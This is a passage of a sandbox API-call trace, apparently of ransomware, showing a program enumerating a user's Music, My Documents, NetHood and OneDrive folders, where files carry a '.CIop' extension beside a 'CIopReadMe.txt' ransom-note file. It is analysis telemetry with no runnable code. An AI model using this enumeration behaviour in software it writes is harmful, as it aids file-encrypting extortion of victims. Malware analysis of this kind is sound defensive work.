(uMode=0x1) returned 0x1 [0118.015] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0118.015] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0118.015] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0118.015] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0118.015] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0118.015] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.015] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2="..") returned 1 [0118.015] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2=".") returned 1 [0118.015] lstrlenW (lpString=".CIop") returned 5 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2="..") returned 1 [0118.015] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2=".") returned 1 [0118.015] lstrlenW (lpString=".CIop") returned 5 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.015] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.015] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2="..") returned 1 [0118.015] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2=".") returned 1 [0118.015] lstrlenW (lpString=".CIop") returned 5 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2="..") returned 1 [0118.015] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2=".") returned 1 [0118.015] lstrlenW (lpString=".CIop") returned 5 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2="..") returned 1 [0118.015] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2=".") returned 1 [0118.015] lstrlenW (lpString=".CIop") returned 5 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2="..") returned 1 [0118.015] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2=".") returned 1 [0118.015] lstrlenW (lpString=".CIop") returned 5 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.015] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2="..") returned 1 [0118.015] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2=".") returned 1 [0118.015] lstrlenW (lpString=".CIop") returned 5 [0118.015] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.015] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.016] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.016] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0118.016] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0118.016] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dfb8 [0118.016] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.016] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.016] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.016] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0118.016] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0118.016] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.016] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.016] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.016] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.016] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0118.016] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0118.017] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0118.017] SetErrorMode (uMode=0x1) returned 0x1 [0118.017] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0118.017] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0118.017] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.017] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0118.017] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0118.017] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.017] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.017] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.017] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0118.017] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.017] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0118.017] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0118.017] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0118.017] SetErrorMode (uMode=0x1) returned 0x1 [0118.017] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0118.017] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0118.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0118.017] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.017] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.017] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.017] lstrlenW (lpString=".CIop") returned 5 [0118.017] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.017] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.017] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.017] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0118.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0118.018] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.018] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.018] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.018] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.018] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.018] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.018] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.018] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.018] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.018] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.018] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0118.018] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0118.018] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0118.018] SetErrorMode (uMode=0x1) returned 0x1 [0118.018] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0118.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0118.018] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0118.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0118.018] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.018] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0118.018] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0118.018] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.018] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.018] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.018] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0118.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0118.018] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.018] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0118.018] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0118.018] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0118.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0118.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0118.018] SetErrorMode (uMode=0x1) returned 0x1 [0118.018] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0118.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0118.019] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0118.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0118.019] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.019] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.019] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.019] lstrlenW (lpString=".CIop") returned 5 [0118.019] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.019] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.019] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.019] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0118.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0118.019] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.019] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.019] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0118.019] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.019] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.019] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.019] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.019] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.019] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.019] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.019] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.019] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.019] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.019] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.019] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.019] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.019] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.019] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0118.019] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0118.019] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0118.019] SetErrorMode (uMode=0x1) returned 0x1 [0118.019] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0118.019] 